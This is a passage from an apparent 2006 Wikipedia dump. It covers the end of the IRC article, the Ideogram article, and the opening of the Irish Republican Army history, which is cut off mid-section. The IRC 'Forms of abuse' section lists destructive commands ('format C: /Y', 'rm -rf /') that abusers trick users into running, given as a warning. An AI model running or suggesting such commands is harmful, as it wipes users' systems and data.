TS is a much more complicated protocol than ND/CD, both in design and implementation, and despite having gone through several revisions, some implementations still have problems with &quot;desyncs&quot; (where two servers on the same network disagree about the current state of the network), and allowing too much leniency in what was allowed by the 'losing' side.  Under the original TS protocols, for example, there was no protection against users setting bans or other modes in the losing channel which would then be merged when the split rejoined, even though the users who had set those modes were no longer opped.  Some modern TS-based IRC servers have also incorporated some form of ND and/or CD in addition to timestamping in an attempt to further curb abuse.

There is not, and likely never will be, a consensus on timestamping vs. delay; however most networks today use the timestamping approach. It was part of the issues and disagreements which caused several servers to split away from [[EFnet]] and form the newer [[IRCnet]] (EFnet after the split moving to a TS protocol, and IRCnet using ND/CD), and supporters on both sides were known for heated arguments regarding the merits of their solution.

==Networks and URLs==
{{IRC networks}}
Today there are several thousand running IRC networks in the world. They run various implementations of IRC [[server]]s, and are administered by various groups of [[IRC operator|IRC Operators]], but the protocol exposed to IRC users is very similar, and all IRC networks can be accessed by the same client software.

You can join to servers clicking in a &lt;nowiki&gt;irc://irc.server.net:port/channel&lt;/nowiki&gt; web [[link]].

The largest IRC networks have traditionally been grouped in ''The Big Four'' &amp;mdash; a designation for networks that top the statistics. Currently this includes four networks regularly frequented by around or over one hundred thousand clients, namely:

* [[EFnet]]
* [[IRCnet]]
* [[QuakeNet]]
* [[Undernet]]

Other large networks include:

* [[AustNet]]
* [[DALnet]]
* [[Enter The Game]]
* [[Freenode]]
* [[IRCHighway]]
* [[IrCQ-Net]]
* [[GameSurge]]
* [[LinkNet]]
* [[Rizon]]
* [[IRC-Hispano]]
* [[OFTC]]

For network statistics, rankings, and a list of smaller networks, see [http://irc.netsplit.de/networks/ netsplit.de] and [http://searchirc.com/networks Search IRC]. For other articles on IRC networks, see [[:Category:IRC networks]].

==Clients==
:''See [[list of IRC clients]] for more detail.''
[[mIRC]] is widely believed to be the most popular IRC client on Windows based systems.  However, with the recent introduction of clients such as [[Bersirc]], [[KVIrc]], [[Trillian (instant messenger)|Trillian]], and [[X-Chat]], mIRC is beginning to see much more competition.  Many people still use mIRC most likely due to the fact that it has been around for quite some time and has a wide variety of scripts available. [[ircII]] is the canonical [[Unix]] IRC client, but its userbase has declined with the appearance of competing clients such as [[Enhanced Programmable ircII Client|ircII-EPIC]], [[BitchX]], [[irssi]], [[X-Chat]], etc. For [[Mac OS X]], the most widely-used clients are [[Ircle]] and [[Colloquy (IRC client)|Colloquy]]. OSX can also run most Unix-like [[command line]] and [[X Window System|X11]] IRC clients. Recently a special build of [[X-Chat]] has been gaining ground on OSX systems, [[X-Chat Aqua]]. 

[[ChatZilla]] is the [[Mozilla]] IRC client.

[[Opera (web browser)|Opera]] also has a built-in IRC client.

For a novice user, mIRC and over large-window clients might seem to be unnecessary large and complex. New users may prefer [[instant messenger]] based clients like [[Miranda IM]] or [[Trillian (instant messenger)|Trillian]], providing a familiar interface to the IRC application. The multi-platform open-source instant messenger [[Gaim]] also supports connection to the IRC networks.

A framework designed to incorporate IRC into various other applications, such as games, is [[LibIRC]], although it is still heavily under development.

===Bots===
There are also many automated clients, called [[IRC bot|bot]]s. The first bot was written by [[Greg Lindahl]] and provided moderation for the game of [[Wumpus]], but most modern bots are usually used to exercise operator privileges (controlling channels and acting quickly in case of abuse), to annoy other users (perhaps by spamming them with lots of messages), to answer repetitive user questions and provide help when channels are not attended, or serve as permanent points of contact for information exchange (an answering machine, file transfer, etc.). The most popular IRC bots today are [[Eggdrop]] and [[EnergyMech]].

More recently, bots have been written using the [[mIRC]] client's built-in [[mIRC script|scripting language]]. One enterprising individual has created an IRC bot in MSH - see his blog post at [http://www.we11er.co.uk/blog/2005/08/monad-msh-irc-bot.html].

Modern [[IRC services]] are typically implemented using bots. Bots are useful for channel maintenance tasks such as banning users, keeping a list of operators, keeping the channel topic, etc.

===Bouncer===
A program that runs as a [[daemon (computer software)|daemon]] on a [[server]] and functions as a persistent [[proxy server|proxy]] is known as a [[bouncer (IRC)|bouncer]]. A bouncer's purpose is to maintain a connection to an IRC server, acting as a relay between it and the connecting client. Should the client lose network connectivity, the bouncer will archive all traffic for later delivery, allowing the user to resume his IRC session without externally perceptible disruption. Two of the most popular bouncers are [http://mind.riot.org/muh/ muh] and [http://www.psybnc.info/ psyBNC]. Muh is exclusively for single user connections, while psyBNC supports multiple users. Another feature-rich bouncer is [http://znc.sourceforge.net ZNC].

==Modern IRC==
IRC has changed much over its life on the Internet. New server software has added a multitude of new features.

*[[IRC services|Services]]: Network-operated bots to facilitate registration of nicknames and channels, sending messages for offline users and network operator functions.
*Extra Modes: While the original IRC system used a set of standard user and channel modes, new servers add many new modes for such features as removing color codes from text, or obscuring a user's hostmask (&quot;cloaking&quot;) to protect from [[denial of service]] attacks.
*Proxy Detection: Most modern servers support detection of users attempting to connect through an insecure (misconfigured or exploited) [[proxy]], which can then be denied a connection. An example is the [http://www.blitzed.org/proxy Blitzed Open Proxy Monitor] or BOPM, used by several networks.
*Additional Commands: New commands can be such things as shorthand commands to issue commands to Services, to network operator only commands to manipulate a user's hostmask.
*[[Encryption]]: For the client-to-server leg of the connection [[Transport Layer Security|SSL]] might be used (messages cease to be secure once they are relayed to other users on standard connections, but it makes [[Man in the middle attack|eavesdropping]] on or wiretapping an individual's IRC sessions difficult). For client-to-client communication, [[Secure Direct Client-to-Client|SDCC]] (secure [[Direct Client-to-Client|DCC]]) can be used.
*[[Ident]]: Provides identification to the IRC server.
*Connection Protocol: IRC can be connected to via [[IPv4]], the current standard version of the [[Internet Protocol]], or by [[IPv6]], the next-generation version of the Protocol.

==Forms of abuse==
Like any network open to the public, people with malicious intent can often be found on IRC networks. These people commonly utilize the following tactics:
* Denial of service attacks and netsplit abuses, described above.
* Responding to requests for help with potentially harmful instructions, such as
:* format C: /Y (reformats hard drive in [[Microsoft Windows|Windows]])
:* rm -rf / (wipes a [[Unix]]/[[Linux]] system)
:* Ctrl+Alt+Delete twice (forces a reboot in earlier versions of Windows)
:* Alt+F4 (closes current program in Windows)
:* Ctrl+F4 (closes current active window in mIRC)
:* Alt+Z (closes the current channel window in mIRC)
* Attempting to trick users into typing commands that will cause them to quit the server. For example: &quot;Two friends are sitting in a garden: /exit and /quit. /exit walks away, who is left?&quot;
* Advertising channels that end in &quot;,0&quot; (such as #0,0). A single JOIN request can join multiple channels separated by commas, and joining channel 0 will cause a user to part all channels.
* Using mIRC's $encode() and $decode() feature to do any of the above.

==File sharing==
Using scripts like [http://www.sysreset.com Sysreset], [http://upp.monkey-pirate.com/ UPP] and [http://www.polaris-central.com Polaris] users can create file servers that allow them to share files with others. In addition to the normal pros and cons of file-sharing (see [[Copyright infringement of software]]), there are also groups that set up [[anime]] [[fansub]]bing networks, allowing American audiences to see anime that would normally be unavailable in English and outside of Japan.

Due to the large amount of people who use IRC solely for [[file sharing]], some think of IRC as a form of [[P2P]] file sharing (along with the client [[mIRC]]). Conversely, many users try to defeat this view by persistently discouraging it or refusing to help with it. Technically, IRC is not for file sharing, although it does possess some advanced file transfer mechanisms which, most importantly, support resuming.

However, IRC-based &quot;DCC&quot; transfers should not be considered to be P2P, as the download source is from one, single, individual; typically an &quot;XDCC&quot; bot or another user. While there is much legitimate material on IRC for download, there is also a strong background of &quot;[[warez]]&quot;, the sharing of illegal or copyrighted material.

==See also==
{{wikibookspar|Internet Server Directory|Internet Relay Chat}}
*[[Bash.org]]
*[[qdb.us]]
*[[Bulletin board system|BBS]]
*[[Chat]]
*[[Chat room]]
*[[Depot channel]]
*[[Direct Client-to-Client]]
*[[Idle RPG]] - A role playing game for IRC
*[[Instant messaging]]
*[[IRC floods]]
*[[IRC Services]]
** By service:
*** [[ChanServ]]
*** [[NickServ]]
*** [[MemoServ]]
*** [[OperServ]]
** Services daemons: 
*** [[Anope]] 
*** [[Epona]]
*** [[srvx]]
*[[IRCX]]
*[[Internet forum]]
*[[List of smiley codes]]
*[[List of IRC commands]]
*[[List of IRC clients]]
*[[Multicast]] - IRC (and other group chat software) is one of the few technologies which does reliable one-to-many broadcast within groups (channels).
*[[Online chat]]
*[[PalTalk]]
*[[Peer-to-peer]]
*Alternatives to IRC
**[[PSYC]]
**[[SILC (protocol)|SILC]]
**[[Jabber|XMPP/Jabber]]
*[[XDCC]]
*[[Shell account]]

==External links==
*[http://www.mirc.com/mirclink.html Chat Links; From Web to IRC using irc://].
*[http://www.mirc.com/cmds.html mIRC commands].
*RFC 1459 - IRC Protocol.
*[http://www.irc.org IRC.org - Technical and Historical IRC6 information] 
*[http://daniel.haxx.se/irchistory.html History of IRC summarized by Daniel Stenberg]
*[http://www.mirc.com/servers.html mIRC server list, most of the larger IRC networks]
*[http://irc.netsplit.de/ Andreas Gelhausen's extensive IRC statistics]
*[http://irc.alien.net.au/chanmodes.html List of channel modes that various IRC Daemons use]
*[http://www.irchelp.org Large archive of IRC-related documents, somewhat EFNet biased]
*[http://searchirc.com/whois/ cross network whois search] at [http://searchirc.com/ ''Search IRC'', an IRC search engine]
*[http://www.efnet.org/ EFnet IRC] The Original IRC Network
*[http://www.ircimages.com/ Raw images spidered from IRC channels]
*[http://www.irc-junkie.org/ ''IRC Junkie'' - IRC news]
*[http://www.irchelp.org/ ''IRC Help'' - Learning the basics of IRC, including netiquette]
*[http://www.ircbeginner.com/ IRC beginner].
*[http://irc.alien.net.au/ An extensive list of different ''numerics'' and modes used by various IRC networks]
*RFC 1459 - Technical Information about the IRC Protocol]
*[http://www.fredlwm.hpg.ig.com.br/documentation/IRC-mini-HOWTO/ Linux IRC mini-HOWTO] 
*[http://www.reseaux-irc.com/ Reseaux-IRC.com - French non-profit IRC monitoring project]
*[http://www.xchat.org/ XCHAT.org - Popular client for *nix and more recently, Windows.]
*[http://www.linuxirc.com/ LinuxIRC.com - Linux IRC]
*[http://www.wyldryde.org/chat/getchat.php WyldRyde.org - Add an IRC chatroom to any web site]

[[Category:IRC|*]]
[[Category:Virtual communities]]

[[ar:IRC]]
[[bg:IRC]]
[[ca:IRC]]
[[cs:IRC]]
[[da:IRC]]
[[de:Internet Relay Chat]]
[[eo:IRC]]
[[es:IRC]]
[[fa:آی.آر.سی]]
[[fi:IRC]]
[[fr:Internet Relay Chat]]
[[gl:IRC]]
[[he:IRC]]
[[hr:IRC]]
[[hu:Irc]]
[[ia:Internet Relay Chat]]
[[id:Internet Relay Chat]]
[[io:Internet Relay Chat]]
[[is:Internet Relay Chat]]
[[it:Internet Relay Chat]]
[[ja:インターネット・リレー・チャット]]
[[ko:IRC]]
[[lt:IRC]]
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[[nl:Internet Relay Chat]]
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[[no:IRC]]
[[pl:IRC]]
[[pt:Internet Relay Chat]]
[[ro:IRC]]
[[ru:IRC]]
[[simple:IRC]]
[[sk:Internet Relay Chat]]
[[sl:Internet Relay Chat]]
[[sq:IRC]]
[[sr:ИРЦ]]
[[sv:Internet Relay Chat]]
[[sw:IRC]]
[[th:ไออาร์ซี]]
[[tr:Internet Relay Chat]]
[[uk:IRC]]
[[vi:IRC]]
[[zh:IRC]]</text>
    </revision>
  </page>
  <page>
    <title>Ideogram</title>
    <id>14731</id>
    <revision>
      <id>41179871</id>
      <timestamp>2006-02-25T16:10:39Z</timestamp>
      <contributor>
        <username>Dbachmann</username>
        <id>86857</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">'''Ideograms''' (from [[Greek language|Greek]] ''&amp;iota;&amp;delta;&amp;epsilon;&amp;alpha;'' '''''idea''''' &quot;idea&quot; + ''&amp;gamma;&amp;rho;&amp;alpha;&amp;phi;&amp;omega;'' '''''grapho''''' &quot;to write&quot;) are [[Graphic Design|graphical]] [[symbol]]s that represent [[idea]]s. 

Ideographs in the strictest sense do not constitute a complete [[writing system]], as any writing system must be able to refer directly to a language in order to faithfully represent that language, but are often used in [[wayfinding]] and sign systems, especially in [[airports]] and other environments where many people may not be familiar with the language of the place they are in.

&quot;Ideograms&quot; is commonly used to describe [[logogram|logographic writing systems]] such as Egyptian hieroglyphs and Chinese characters. However, symbols in logographic systems generally represent [[word]]s or [[morpheme]]s rather than pure ideas.

The term &quot;ideogram&quot; or &quot;ideograph&quot; is also used to describe two of the six ways in which Chinese characters were designed. See [[Chinese character classification]] for more information.

There is no single way to read an ideographic system, because there is no one-to-one correspondence between symbol and language. In some cases, only the author of a text can read it with any certainty, and it may be said that they are ''interpreted'' rather than read. Such scripts often work best as mnemonic aids for oral texts, or as outlines that will be fleshed out in speech. 

Examples of ideographic systems:

*'''[[Aztec writing|Aztec]]'''  — [[Nahuatl language|Nahuatl]]
*'''[[Dongba script|Dongba]]''' — [[Naxi]]
*'''[[Mi'kmaq hieroglyphic writing|Mi'kmaq]]''' — [[Mi'kmaq]]

The Dongba script is the only extant ideographic system.

==See also==
* [[Logotype]]
* [[Icon]]
* [[Sona language]]
* [[Blissymbolics]]
* [[Lexigram]]
* [[Electronic circuit language]]
* [[Energy Systems Language]]

==References==
*DeFrancis, John. 1990. The Chinese Language: Fact and Fantasy. Honolulu: University of Hawaii Press. ISBN 0824810686
*Hannas, William. C. 1997. Asia's Orthographic Dilemma. University of Hawaii Press. ISBN 082481892X (paperback); ISBN 0824818423 (hardcover)
*Unger, J. Marshall. 2003. ''Ideogram: Chinese Characters and the Myth of Disembodied Meaning''. ISBN 0824827600 (trade paperback), ISBN 0824826566 (hardcover)

==External links==
*[http://www.pinyin.info/readings/texts/ideographic_myth.html  The Ideographic Myth] (an extract from DeFrancis' book)
*[http://www.aiga.org/content.cfm?ContentAlias=symbolsigns AIGA Symbol Signs] (common US ideograms).
[[Category:Writing systems]]
[[Category:Symbols]]

[[da:Ideogram]]
[[de:Schriftzeichen#Ideogramm]]
[[eo:Ideogramo]]
[[fr:Idéogramme]]
[[gl:Ideograma]]
[[ko:표의 문자]]
[[it:Ideogramma]]
[[nl:Ideogram]]
[[ja:表意文字]]
[[pl:Pismo ideograficzne]]
[[ro:Ideogramă]]
[[sv:Ideogram]]
[[zh:形意文字]]
[[ru:Идеограмма]]</text>
    </revision>
  </page>
  <page>
    <title>Irish Republican Army</title>
    <id>14732</id>
    <revision>
      <id>42056245</id>
      <timestamp>2006-03-03T14:27:21Z</timestamp>
      <contributor>
        <ip>83.131.164.42</ip>
      </contributor>
      <text xml:space="preserve">:''This article primarily deals with the organisation recognised by [[Dáil Éireann]] in 1919 as the legitimate army of the [[Irish Republic]] (1919&amp;mdash;1922). For Irish paramilitary organisations after 1922 that claim or have claimed the to be the linear descendant of that army and have called themselves &quot;Irish Republican Army&quot; see [[Irish Republican Army (1922-1969)]], [[Official Irish Republican Army]] (1969- ), [[Provisional Irish Republican Army]] (1969- ), [[Continuity Irish Republican Army]] (1986- ), and [[Real Irish Republican Army]] (1997- ).''

[[Image:Flyingcolumn westcork-DB668.JPG|300px|right|thumb|The [[West Cork Flying Column]]&lt;br&gt;&lt;small&gt;during the War of Independence.&lt;/small&gt;]] 

The '''Irish Republican Army''' ('''IRA'''), sometimes known later as the '''Old IRA''', was a military organisation descended from the [[Irish Volunteers]] which was recognised in [[1919]] by Dáil Éireann as the legitimate army of the [[unilateral declaration of independence|UDI]] [[Irish Republic]], the Irish state proclaimed in the [[Easter Rising]] in [[1916]] and reaffirmed by the Dáil in January [[1919]]. In [[Irish language|Irish]], it was referred to as '''Óglaigh na hÉireann''' ([[Óglaigh na hÉireann|see here]] for more).

Though a series of organisations later claimed to be a continuation of the IRA from the 1920s to today, most Irish people disagree with these claims. After the signature of the [[Anglo-Irish Treaty]] in 1921, members of the IRA who supported the Treaty formed the nucleus of the [[Irish Defence Forces|National Army]] founded by IRA leader [[Michael Collins (Irish leader)|Michael Collins]] in [[1922]]. While the anti-Treaty IRA continued to exist after its defeat in the [[Irish Civil War]], by the late 1930s it had lost most of the legitimacy with which most supporters of the Republican side initially regarded it. A small minority of Irish people accepts later claimants to the name as the political heirs of the original Irish Republican Army, though none had their claims accepted by Dáil Éireann. 

To distinguish between the army of the Irish Republic, and later claimants to the name, the original army recognised by Dáil is sometimes called the '''Old IRA'''. 

==Origins==
[[Physical force Irish republicanism]] as an ideology had a long history, from the [[United Irishmen]] of the [[1798 rebellion|1798]] and [[1803 rebellion|1803]] rebellions, to the [[Young Ireland]]er rebellion of [[1848]] and the [[Irish Republican Brotherhood]] of [[1867]]. One of the key leaders of the IRB was [[Jeremiah O'Donovan Rossa]]. His funeral in [[1915]] became a major national event and brought together many of the key leaders of early 20th century nationalism, from [[Padraig Pearse]] to [[Michael Collins (Irish leader)|Michael Collins]]. In addition, the methods of the IRA were to some extent inspired by the traditions of militant agrarian Irish secret societies like the [[Defenders (Ireland)|Defenders]] and the [[Ribbonmen]].

The acronym '''IRA''' was first used by the IRB organization in America (also known as the [[Fenian Brotherhood]]). This &quot;Irish Republican Army&quot; of the 1860s comprised the American Fenians' paramilitary forces, organized into a number of regiments. Fenian soldiers wearing IRA insignia fought at the [[Battle of Ridgeway]] ([[June 2]], [[1866]]). However the term ''Irish Republican Army'' in its modern sense was first used in the second decade of the [[20th century]] from the merger of the [[Irish Volunteers]] and the [[Irish Citizens Army]] after the [[Easter Rising]]. 

===Political background===
The ''[[Government of Ireland Act 1914]]'', more generally known as the '''''Third Home Rule Act''''', was an [[Act of Parliament]] passed by the [[British Parliament]] in May [[1914]] which sought to give [[Ireland]] regional self-government within the [[United Kingdom of Great Britain and Ireland]]. Although it received the [[Royal Assent]] in September 1914, its implementation was postponed until after the [[First World War]] (at that stage expected to last only a matter of months), amid fears that opposition to home rule by [[Irish Unionist]]s and illegal gun-running by the [[Ulster Volunteer Force]] would lead to an Irish civil war. 

However the outbreak of the [[Easter Rising]] in [[1916]], which was initially deeply unpopular among [[Irish nationalist]]s but which gained popularity following British mishandling of the aftermath, in turn leading to the  electoral success of [[Sinn Féin]] in the [[Irish (UK) general election, 1918|1918 general election]], made implementation of the Act irrelevant. It was never implemented but was eventually replaced by the ''[[Government of Ireland Act 1920]]'', which was to give Home Rule separately to [[Northern Ireland]]) and to the remaining twenty-six counties, known as &quot;[[Southern Ireland]]&quot;. While Northern Ireland became a functioning political entity from 1921, Southern Ireland never functioned except on paper. 

===Easter Rising===
{{main|Easter Rising}}

[[Image:1916proc.jpg|right|thumb|The [[Easter Proclamation]]&lt;br&gt;&lt;small&gt;read by [[Padraig Pearse]] outside the GPO in 1916.&lt;/small&gt;]]
[[Image:Patrick Pearse.jpg|left|thumb|Padraig Pearse&lt;br&gt;&lt;small&gt;head of the 'Provisional Government' proclaimed in the Easter Rising&lt;/small&gt;]]
For what was initially a minority of nationalists, the home rule was judged to be too little, too late. In the [[Easter Rising]] of 1916, these nationalists staged a rebellion against British rule in Dublin and in some other isolated areas. Weapons had been supplied by [[Germany]] under the auspices of a leading human rights campaigner, Sir [[Roger Casement]]. However, the plot had been discovered and the weapons were lost when the ship carrying them, the [[Aud]], was scuttled to prevent the arms from falling into the hands of the British. 

The rebellion was largely centered in [[Dublin]]. The leaders seized the [[General Post Office (Dublin)|General Post Office]] (GPO), raising a green flag bearing the legend 'Irish Republic', and proclaiming independence for Ireland, though ironically some republicans in the GPO talked of making [[Prince Joachim of Prussia]] the [[King of Ireland]] if Germany won the First World War.{{ref|Lyons}} Many Irish people today believe that the Rising and its leaders had public support, but some historians dispute this view; there were calls for the execution of the ringleaders in the major Irish nationalist daily newspaper, the '[[Irish Independent]]', and local authorities also sought the ringleaders. They also claim that Dubliners not only cooperated with the British troops sent to quell the uprising, but undermined the Republicans as well. Many people spat, threw stones at them and emptied [[chamber pot]]s down on them as they were marched towards the transport ships that would take them to the [[Wales|Welsh]] internment camps.

However, public opinion gradually shifted, initially over the summary executions of 16 senior leaders&amp;mdash;some of whom, such as [[James Connolly (nationalist)|James Connolly]], were too ill to stand&amp;mdash;and of other people thought complicit in the rebellion. As one observer described, &quot;the drawn-out process of executing the leaders of the rising, it was like watching blood seep from behind a closed door.&quot; Opinion shifted even more in favour of the Republicans in 1917-18 with the [[Conscription Crisis of 1918 (Ireland)|Conscription Crisis]], an attempt by Britain to impose conscription on Ireland to bolster its flagging war effort. 

A small [[monarchy|monarchist]] Irish party, [[Sinn Féin]], was widely, but wrongly, credited with orchestrating the Easter Rising, although the group advocated less-than-full independence at the time. The party's founder and leader, [[Arthur Griffith]], was campaigning for a [[dual monarchy]] with Britain, a return to the [[status quo]] of the ''[[Constitution of 1782]]'', enacted by the [[Irish Parliament]] under [[Henry Grattan]]'s Parliament. The Republican survivors of the Rising, under [[Eamon de Valera]], infiltrated and took over Sinn Féin, leading to a crisis of goals in [[1917]]. 

In a compromise agreed to at its ''[[Árd Fheis]]'' (party conference), Sinn Féin agreed to initially campaign for a republic. Having established one, it would let the electorate decide on whether to have a [[monarchy]] or a [[republic]]; however, if they chose a monarchy, no member of the British [[House of Windsor]] was to be eligible for the Irish throne.

[[Image:cathalbrugha.JPG|frame|Cathal Brugha, TD&lt;br&gt;&lt;small&gt;''Príomh Aire'' (January-April 1919)&lt;br&gt;Long-term Minister for Defence and rival to Michael Collins.&lt;/small&gt;]]

From 1916 to 1918, the two dominant nationalist movements, Sinn Féin and the [[Irish Parliamentary Party]], fought a tough series of battles in by-elections. Neither won a decisive victory; however, the [[Conscription Crisis]] tipped the balance in favor of Sinn Féin. The party went on to win a clear majority of seats in the [[Irish (UK) general election, 1918|1918 general election]]: of the 73 seats in which Sinn Féin were elected, 25 were uncontested.

==The emergence of the IRA after the Easter Rising==
The first steps towards reorganizing the defeated Irish Volunteers were taken in [[27 October]] [[1917]] when a convention took place in [[Dublin]]. This convention, which subsequently became known as an IRA convention, was called to coincide with the Sinn Féin party conference.

Nearly 250 people attended the convention; [[internment]] prevented many more from attending. In fact, the [[Royal Irish Constabulary]] estimated that 162 companies of volunteers were active in the country, although other sources suggest a higher figure of 390. 

The proceedings were presided over by [[Éamon de Valera]], who had been elected President of Sinn Féin the previous day. Also on the platform were [[Cathal Brugha]] and many others who were prominent in the reorganising of the Volunteers in the previous few months, many of them ex-prisoners.

De Valera was elected president. A national executive was also elected, composed of provincial representatives (including Dublin). In addition, a number of directors were elected to head the various IRA departments. Those elected were: [[Michael Collins (Irish leader)|Michael Collins]] (Director for Organisation); [[Diarmuid Lynch]] (Director for Communications); [[Michael Staines]] (Director for Supply); [[Rory O'Connor]] (Director of Engineering). [[Seán McGarry]] was voted General Secretary, while Cathal Brugha was made Chairman of the Resident Executive, which in effect made him Chief of Staff.

The other elected members were: [[M. W. O'Reilly]] (Dublin); [[Austin Stack]] ([[Kerry]]); [[Con Collins]] ([[Limerick]]); [[Seán MacEntee]] ([[Belfast]]); [[Joe O'Doherty]] ([[Donegal]]); [[Paul Galligan]] ([[Cavan]]); [[Eoin O'Duffy]] ([[Monaghan]]); [[Seamus Doyle]] ([[Wexford]]); [[Peadar Bracken]] ([[Offaly]]); [[Larry Lardner]] ([[Galway]]); [[Dick Walsh]] ([[Mayo]]) and another member from [[Connacht]]. There were six co-options to make-up the full number when the directors were named from within their ranks. The six were all Dublin men: [[Eamonn Duggan]]; [[Gearóid O'Sullivan]]; [[Fintan Murphy]]; [[Diarmuid O'Hegarty]]; [[Dick McKee]] and [[Paddy Ryan]].

Of the 26 elected, six were also members of the Sinn Féin National Executive, with Eamonn de Valera president of both. Eleven of the 26 were elected [[Teachta Dála|Teachta Dála]] in the [[United Kingdom general election, 1918|1918 general election]] and 13 in the May 1921 election.

==Dáil Éireann and the IRA==
{{main|First Dáil}}

Sinn Féin MPs elected in 1918 fulfilled their election promise not to take their seats in Westminster but instead set up an independent 'Assembly of Ireland',  or ''[[First Dáil|Dáil  Éireann]]', in the [[Irish language]]. On [[January 21]], [[1919]], this new, unofficial parliament assembled in the [[Mansion House, Dublin|Mansion House]] in Dublin. As its first acts, the Dáil elected a prime minister ([[Priomh Aire]]), [[Cathal Brugha]], and inaugurated a ministry called the [[Aireacht]]. In theory, the IRA was responsable to th Dail and was the army of the Irish Republic. In practice, the Dail had great difficulty controlling the actions of the Volunteers.

[[Image:1stdailmeeting.JPG|300px|left|thumb|The first meeting of the First Dáil in 1919&lt;br&gt;&lt;small&gt;The War of Independence started the same day.&lt;small&gt;]]
The new leadership of the Irish Republic worried that the IRA would not accept its authority, given that the Volunteers, under their own constitution, was bound to obey ''their'' own executive and no other body.{{ref|mac1}} The fear was increased when, on the very day the new national parliament was meeting, [[21 January]] [[1919]] the IRA, acting on their own initiative, killed two [[Royal Irish Constabulary]] constables (James McDonnell and Patrick O'Connell) by [[Seán Tracy (rebel)|Seán Tracy]] and [[Dan Breen]] while the South Tipperary IRA volunteer unit were seizing a quantity of [[gelignite]]. 

Technically, the men involved were considered to be in a serious breach of IRA discipline and were liable to be court-martialled, but it was considered more politically expedient to hold them up as examples of a rejuvenated militarism. The conflict soon escalated into [[guerrilla warfare|guerrilla]] warfare by what were then known as the ''[[Flying Columns]]'' in remote areas. Attacks on remote [[Royal Irish Constabulary]] (RIC) barracks continued throughout 1919 and 1920, forcing the police to consolidate defensively in the larger towns, effectively placing large areas of the countryside in the hands of the Republicans.
[[Image:Dickmulc.jpg|thumb|[[Richard Mulcahy]].&lt;br&gt;&lt;small&gt;Mulcahy and [[Cathal Brugha]] helped redefine the relationship between the Aireacht and the IRA.&lt;/small&gt;]] 
Moves to make the IRA the army of the Dáil and not its rival had begun before the January attack, and were stepped up. On [[31 January]] the IRA organ, [[An t-Óglách]] published a list of principles agreed between two representatives of the Áireacht, acting Príomh Aire Cathal Brugha and [[Richard Mulcahy]] and the Executive. It made first mention of the organisation treating &quot;the armed forces of the enemy &amp;mdash; whether soldiers or policemen &amp;mdash; exactly as a ''national army'' would treat the members of an invading army&quot;.{{ref|mac2}}

An article in ''An tÓglách'' stated that 

''&quot;The Irish Government claims the same power and authority as any other lawfully constituted Government; it sanctions the employment by the Irish Volunteers of the most drastic measures against the enemies of Ireland . . . England must be given the choice of evacuating the country or holding it by foreign garrison, with a perpetual state of war in existence.&quot;''{{ref|mac3}}

In the statement the new relationship between the Aireacht and the IRA was defined clearly. 
* The Government was defined as possessing the same power and authority as a normal government. 
* ''It'', and not the IRA, sanctions the IRA campaign; 
* It explicitly spoke of a ''state of war''.

[[Image:Eamondv.jpg|left|thumb|The Príomh Aire (later President of the Republic, Eamon de Valera&lt;br&gt;&lt;small&gt;He battled to bring the IRA under government control.&lt;/small&gt;]] 

As part of the ongoing strategy to take control of the IRA, Brugha proposed to [[Dáil Éireann]] on [[20 August]] [[1919]] that the Volunteers were to be asked, at this next convention, to swear allegiance to the Dáil. He further proposed that members of the Dáil themselves should swear the same oath. On the [[25 August]] Collins wrote to the Príomh Aire, Eamon de Valera, to inform him &quot;the Volunteer affair is now fixed&quot;.{{ref|mac3}}

However, a power struggle continued between Brugha and Collins, both cabinet ministers, over who had the greater influence. Brugha was nominally the superior as Minister for Defence, but Collins's powerbase came from his position as Director of Organisation of the IRA and as his key powerbase as a member of the Supreme Council of the IRB. De Valera too resented Collins's clear power and influence, which he saw as coming from the secretive IRB than from his position as a [[Teachta Dála]] (TD) and minister in the Aireacht. Brugha and de Valera both urged the IRA to undertake larger, more conventional military actions for the propaganda effect, but were ignored by Collins and Mulcahy. Brugha at one stage proposed the assassination of the entire British cabinet. This was also discounted due to its presumed negative effect on British public opinion. Moreover, many members of the Dail, notably [[Arthur Griffith]] did not approve of IRA violence and would have preferred a campaign of passive resistance to British rule. The Dail belatedly accepted responsability for IRA actions in April 1921, just three months before the end of the [[Irish War of Independence]].

In practice, the IRA was comander by Collins, with [[Richard Mulcahy]] as second in command. These men were able to issue orders and directives to IRA guerrilla units around the country and at times to send arms and organisers to specific areas. However, because of the localised and irregular character of he war, they were only able to exert limited control over local IRA commanders such as [[Tom Barry]], [[Liam Lynch (general)|Liam Lynch]] in Cork and [[Sean McEoin]] in Longford.

==The War of Independence==
{{main article|[[Anglo-Irish War]]}}

===IRA campaign and organisation===
The IRA fought a guerrilla war against the Crown forces in Ireland from 1919 to July 1921. The most intense period of the war was from November 1920 to July 1921, when over thee quarters of the 1,500 or who died in the war were killed. The IRA campaign can broadly be split into thee phases. The first, in 1919 involved the re-organisation of the [[Irish Volunteers]] as a guerrilla army. Organisers such as [[Ernie O'Malley]] were sent around ht country to set up viable guerrilla units. On paper, there were 100,000 or so Volunteers enrolled after the conscription crisis of 1918. However, only about 15,000 of these participated in the guerrilla war. In 1919, Collins, the IRA's Director of Intelligence, organised the &quot;Squad&quot; - an assassination unit based in [[Dublin]] which killed Police involved in Intelligence work. In addition, ther were some arms raids on [[Royal Irish Constabulary]] barracks for arms. By the end of 1919, four [[Dublin Metropolitan Police]] and 11 RIC men had been killed. The RIC abandoned most of their smaller rural barracks in late 1919. Around 400 of these were burned in a co-ordinated IRA operation around the country in April 1920. 

The second phase of the IRA campaign, roughly from January to July 1920, involved attacks on the fortified Police barracks located in the towns. Between January and June 1920, sixteen of these were destroyed and twenty nine badly damaged. Several events of late 1920 greatly escalated the conflict. Firstly, the British declared [[martial law]] in parts of the country -allowing for [[internment]] and executions of IRA men. Secondly they deployed paramilitary forces the [[Black and Tans]] and [[Auxiliary Division]] and more [[British Army]] personell into the country. Thus, the third phase of the war (roughly August 1920 - July 1921) involved the IRA taking on a greatly expanded British force, moving away from attacking well defended barracks and instead using [[ambush]] tactics. To this end the IRA was re-organised into &quot;flying columns&quot; - permanent guerrilla units, usually about 20 stong, though sometimes bigger. In rural areas, the flying columns usually had bases in remote mountainous areas. 

